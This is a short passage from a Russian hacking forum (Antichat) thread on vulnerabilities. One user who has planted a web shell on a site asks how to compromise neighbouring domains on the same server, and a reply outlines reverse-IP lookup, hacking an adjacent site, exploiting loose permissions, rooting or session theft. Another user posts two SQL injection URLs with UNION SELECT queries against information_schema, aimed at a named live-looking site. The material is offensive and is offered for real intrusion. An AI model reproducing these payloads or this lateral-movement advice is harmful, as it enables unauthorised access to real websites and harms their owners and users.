ANTICHAT - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Цитата:

Сообщение от dotMX

Добрый вечер.
Сразу извинюсь за глупый вопрос.
Залил шелл на 1 сайт, полные права на изменение файлов и php mode
ff. В папке domains лежат еще несколько доменов, но к ним нет доступа.
Вопрос:
Можно ли как-нибудь эти домены поиметь? В прошлом много раз читал, как ломают нужные домены через "соседей".Не уверен, что у "соседей" были рутовые права на весь сервер, а проверить этого не могу(тупо не помню где читал статьи).

У соседей 99% не будет никаком сервере рутовых прав о_0

Ломают через соседей так: нужен сайт1, пробили по ревип и там есть сайт2, похекали и залили шелл на сайт2 и там либо кривые права и есть доступ к сайт1, либо рутать, либо через сессии.

А у тебя права не кривые, т.ч. либо рутай, либо через сессии если если доступ конечно, а он обычно есть. Не вижу смысла в этой теме рассказывать про то как поиметь через сессии, ищи по форуму.

Цитата:

Сообщение от Osstudio

Что не так?!
http://www.yotaservis.ru/goods.php?typeId=1+and+1=0+union+select+1,group_co ncat%28table_name+separator+0x3a%29+from+informati on_schema.tables+where+table_schema=0x646238353038 61--

http://www.yotaservis.ru/goods.php?typeId=1+and+1=0+union+select+1,unhex(he x(table_name))+from+information_schema.tables+wher e+table_schema=0x64623835303861--+